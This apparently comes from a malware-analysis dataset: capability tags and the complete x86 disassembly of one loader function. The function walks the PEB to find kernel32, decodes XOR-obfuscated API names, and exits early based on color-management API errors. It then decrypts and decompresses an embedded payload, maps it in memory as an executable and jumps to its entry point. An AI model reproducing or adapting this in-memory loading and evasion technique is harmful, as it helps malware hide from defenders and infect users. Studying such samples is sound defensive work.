Function at 0x3501542
Capabilities:
Access peb ldr_data
Create directory
Encode data using xor
Get kernel32 base address
Parse pe header
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4b4
push ebx
push esi
push edi
xor edi, edi
push eax
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
pop ecx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [eax + 0x18]
mov esi, dword [ecx + 0x18]
mov dword [ebp - 0xc], eax
lea ebx, [ebp - 0x18]
push ebx
lea eax, [ebp - 0x268]
push eax
push edi
mov dword [ebp - 0x18], 5
call dword [sym.imp.mscms.dll_GetColorDirectoryW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp eax, 0x7a
je 0x350159e
xor eax, eax
jmp 0x3501ad8
push edi
push edi
push edi
lea eax, [ebp - 0x4b4]
push eax
call dword [sym.imp.mscms.dll_CreateColorTransformW]
call ebx
sub eax, 0x57
je 0x35015d4
lea eax, [ebp - 0x50]
inc word [ebp - 0x42]
inc word [ebp - 0x48]
add word [ebp - 0x50], 0xa
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 4
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push edi
push str.V:dshf_
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
call ebx
sub eax, 3
je 0x35015f5
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 1
jmp 0x35015ce
mov edx, esi
call fcn.035014be
mov edi, eax
mov dword [ebp - 0x40], edi
call ebx
mov dword [ebp - 0x38], 0x1e1b1536
add eax, 0x77
mov dword [ebp - 0x34], 0x8181336
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x30], 0x3b03081b
mov byte [ebp - 0x2c], 0x7a
xor byte [ecx], al
inc ecx
cmp byte [ecx], 0
jne 0x3501622
lea eax, [ebp - 0x38]
push eax
push esi
call edi
push str.VirtualAlloc
push esi
mov dword [ebp - 0x54], eax
call edi
push str.RtlDecompressBuffer
push dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
call edi
push str.VirtualProtect
push esi
mov dword [ebp - 0xc], eax
call edi
cmp dword [ebp - 0x14], 0
je 0x3501ad5
cmp dword [ebp - 0xc], 0
je 0x3501ad5
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, dword [eax + 0x3c]
push 5
lea edi, [ebp - 0x68]
add esi, eax
xor edx, edx
mov dword [ebp - 0x24], esi
mov esi, dword [esi + 0x104]
lea ebx, [eax + esi]
lea esi, [ebx + 4]
pop ecx
rep movsd dword es:[edi], dword [esi]
push 3
mov dword [ebp - 4], eax
mov ecx, dword [ebx]
mov eax, ecx
pop edi
div edi
push 4
push 0x3000
push 0xf
pop esi
push 0xc
pop edi
xor edx, edx
push 0xa
mov dword [ebp - 8], eax
div esi
mov esi, eax
mov eax, dword [ebp - 8]
xor edx, edx
div edi
mov edi, eax
imul esi, esi, 0x14
xor edx, edx
imul edi, edi, 0xf
add edi, ecx
pop ecx
mov eax, dword [ebp - 8]
add edi, esi
div ecx
imul eax, eax, 0xc
lea eax, [eax + edi + 0x102f]
push eax
push 0
call dword [ebp - 0x14]
mov dword [ebp - 0x28], eax
test eax, eax
je 0x3501ad5
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 0x104]
xor edx, edx
mov ecx, dword [ebp - 4]
lea esi, [ecx + eax + 0x18]
mov eax, dword [ebx]
push 3
pop edi
div edi
xor edx, edx
xor edi, edi
push 0xc
pop ecx
mov dword [ebp - 0x10], esi
div ecx
mov dword [ebp - 8], 0xf
test eax, eax
je 0x350174e
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x3c], eax
push 0xc
lea eax, [edi + esi]
push eax
push dword [ebp - 0x20]
call fcn.035014a0
add esp, 0xc
mov eax, dword [ebp - 8]
lea edi, [edi + eax + 0xc]
dec dword [ebp - 8]
jne 0x3501745
mov dword [ebp - 8], 0xf
add dword [ebp - 0x20], 0xc
dec dword [ebp - 0x3c]
jne 0x3501721
mov eax, dword [ebx]
push 3
pop ecx
xor edx, edx
push 0xc
div ecx
mov ecx, eax
xor edx, edx
pop esi
div esi
test edx, edx
je 0x3501777
add edi, dword [ebp - 0x10]
sub ecx, edx
push edx
add ecx, dword [ebp - 0x28]
push edi
push ecx
call fcn.035014a0
add esp, 0xc
mov edx, dword [ebp - 0x24]
mov edi, dword [edx + 0xdc]
add edi, dword [edx + 0x12c]
xor edx, edx
mov eax, dword [ebx]
push 3
pop esi
push 0xf
div esi
xor edx, edx
pop ecx
add edi, dword [ebp - 4]
xor esi, esi
div ecx
mov dword [ebp - 8], 0x14
mov dword [ebp - 0x10], eax
test eax, eax
je 0x35017e9
and dword [ebp - 0x20], esi
mov dword [ebp - 0x3c], eax
lea ecx, [esi + edi]
xor edx, edx
push 0xf
push ecx
mov eax, dword [ebx]
push 3
pop ecx
div ecx
add eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x28]
push eax
call fcn.035014a0
add esp, 0xc
mov ecx, dword [ebp - 8]
dec dword [ebp - 8]
lea esi, [esi + ecx + 0xf]
jne 0x35017e0
mov dword [ebp - 8], 0x14
add dword [ebp - 0x20], 0xf
dec dword [ebp - 0x3c]
jne 0x35017af
mov eax, dword [ebx]
push 3
pop ecx
xor edx, edx
push 0xf
div ecx
xor edx, edx
pop ecx
mov dword [ebp - 8], eax
div ecx
test edx, edx
je 0x3501819
mov eax, dword [ebp - 0x10]
imul eax, eax, 0xf
add eax, dword [ebp - 8]
push edx
add eax, dword [ebp - 0x28]
add esi, edi
push esi
push eax
call fcn.035014a0
add esp, 0xc
xor edx, edx
mov ecx, dword [ebp - 0x24]
mov esi, dword [ecx + 0x154]
mov eax, dword [ebx]
push 3
pop ecx
push 0xa
div ecx
add esi, dword [ebp - 4]
pop ecx
add eax, edx
push 0
xor edx, edx
div ecx
inc eax
pop edi
mov dword [ebp - 8], 0xc
je 0x3501887
and dword [ebp - 4], edi
mov dword [ebp - 0x10], eax
push 0xa
lea eax, [edi + esi]
push eax
mov eax, dword [ebx]
push 3
xor edx, edx
pop ecx
div ecx
mov ecx, dword [ebp - 4]
lea eax, [ecx + eax*2]
add eax, dword [ebp - 0x28]
push eax
call fcn.035014a0
add esp, 0xc
mov eax, dword [ebp - 8]
lea edi, [edi + eax + 0xa]
dec dword [ebp - 8]
jne 0x350187e
mov dword [ebp - 8], 0xc
add dword [ebp - 4], 0xa
dec dword [ebp - 0x10]
jne 0x350184a
mov eax, dword [ebx]
push 4
imul eax, eax, 0xf
push 0x3000
push eax
xor esi, esi
push esi
call dword [ebp - 0x14]
mov edi, eax
cmp edi, esi
je 0x3501ad5
xor ecx, ecx
cmp dword [ebx], ecx
jbe 0x35018c1
mov eax, dword [ebp - 0x28]
mov dl, byte [ebp + esi - 0x68]
xor byte [eax + ecx], dl
inc esi
cmp esi, 0x13
jbe 0x35018bc
xor esi, esi
inc ecx
cmp ecx, dword [ebx]
jb 0x35018aa
push eax
mov eax, dword [0x3509f9a]
pop eax
mov ebx, dword [ebx]
lea eax, [ebp - 0x1c]
push eax
push ebx
imul ebx, ebx, 0xf
push dword [ebp - 0x28]
push ebx
push edi
push 2
call dword [ebp - 0xc]
mov ecx, 0x5a4d
cmp word [edi], cx
jne 0x3501ad5
mov esi, dword [edi + 0x3c]
add esi, edi
xor eax, eax
cmp dword [esi], 0x4550
mov dword [ebp - 0x10], esi
jne 0x3501ad7
cmp dword [esi + 0xa0], eax
jne 0x350190b
mov eax, dword [esi + 0x34]
mov ecx, dword [esi + 0x50]
add ecx, 0x100
push 0x40
push 0x3000
push ecx
push eax
call dword [ebp - 0x14]
mov ebx, eax
test ebx, ebx
je 0x3501ad5
mov eax, dword [esi + 0x54]
add eax, dword [edi + 0x3c]
push eax
push edi
push ebx
call fcn.035014a0
and dword [ebp - 0x24], 0
xor eax, eax
add esp, 0xc
cmp ax, word [esi + 6]
jae 0x350197e
and dword [ebp - 4], eax
mov eax, dword [edi + 0x3c]
add eax, dword [ebp - 4]
lea eax, [eax + edi + 0xf8]
push dword [eax + 0x10]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add ecx, edi
add eax, ebx
push ecx
push eax
call fcn.035014a0
movzx eax, word [esi + 6]
add dword [ebp - 4], 0x28
add esp, 0xc
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jb 0x350194a
mov eax, ebx
sub eax, dword [esi + 0x34]
mov dword [ebp - 0xc], eax
je 0x35019f7
mov eax, dword [esi + 0xa0]
test eax, eax
je 0x35019f7
add eax, ebx
mov esi, dword [esi + 0xa4]
add esi, eax
jmp 0x35019ed
mov edi, dword [eax + 4]
and dword [ebp - 4], 0
sub edi, 8
test edi, 0xfffffffe
jbe 0x35019ea
mov ecx, 0x3000
mov edi, dword [ebp - 0x14]
movzx edi, word [edi]
mov edx, edi
and edx, 0xf000
cmp dx, cx
jne 0x35019d6
mov edx, dword [ebp - 0xc]
and edi, 0xfff
add edi, dword [eax]
add dword [edi + ebx], edx
mov ecx, dword [eax + 4]
inc dword [ebp - 4]
add dword [ebp - 0x14], 2
sub ecx, 8
shr ecx, 1
cmp dword [ebp - 4], ecx
jb 0x35019b0
add eax, dword [eax + 4]
lea ecx, [eax + 8]
cmp eax, esi
mov dword [ebp - 0x14], ecx
jb 0x350199e
mov ecx, dword [ebp - 0x10]
mov edi, dword [ecx + 0x80]
add edi, ebx
cmp dword [edi], 0
je 0x3501aa3
mov eax, dword [edi + 0xc]
add eax, ebx
push eax
call dword [ebp - 0x54]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x3501ad5
cmp dword [edi + 4], 0xffffffff
mov edx, dword [edi + 0x10]
mov dword [ebp - 4], edx
jne 0x3501a56
lea esi, [edx + ebx]
mov ecx, dword [edi]
mov ecx, dword [ecx + ebx]
test ecx, 0xf0000000
je 0x3501a43
and ecx, 0xffff
jmp 0x3501a48
add ecx, ebx
add ecx, 2
push ecx
push eax
call dword [ebp - 0x40]
cmp dword [esi], eax
je 0x3501a94
mov eax, dword [edi]
mov dword [ebp - 4], eax
mov esi, dword [ebp - 4]
add esi, ebx
jmp 0x3501a8f
mov eax, dword [esi]
test eax, 0xf0000000
je 0x3501a6d
and eax, 0xffff
jmp 0x3501a72
add eax, ebx
add eax, 2
push eax
push dword [ebp - 0xc]
call dword [ebp - 0x40]
test eax, eax
mov dword [esi], eax
je 0x3501ad5
mov edx, dword [esi]
mov ecx, dword [edi + 0x10]
mov eax, esi
sub eax, dword [ebp - 4]
mov dword [eax + ecx], edx
add esi, 4
cmp dword [esi], 0
jne 0x3501a5d
add edi, 0x14
cmp dword [edi], 0
jne 0x3501a0b
mov ecx, dword [ebp - 0x10]
push eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0xc], eax
pop esi
mov esi, dword [ebp - 0xc]
mov dword [esi + 8], ebx
mov esi, dword [esi + 0xc]
mov esi, dword [esi + 0xc]
mov dword [esi + 0x18], ebx
mov edx, dword [ecx + 0x28]
add edx, ebx
mov dword [esi + 0x1c], edx
mov eax, dword [ecx + 0x28]
add eax, ebx
mov dword [ebp - 0x54], eax
call dword [ebp - 0x54]
jmp 0x3501597
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0x10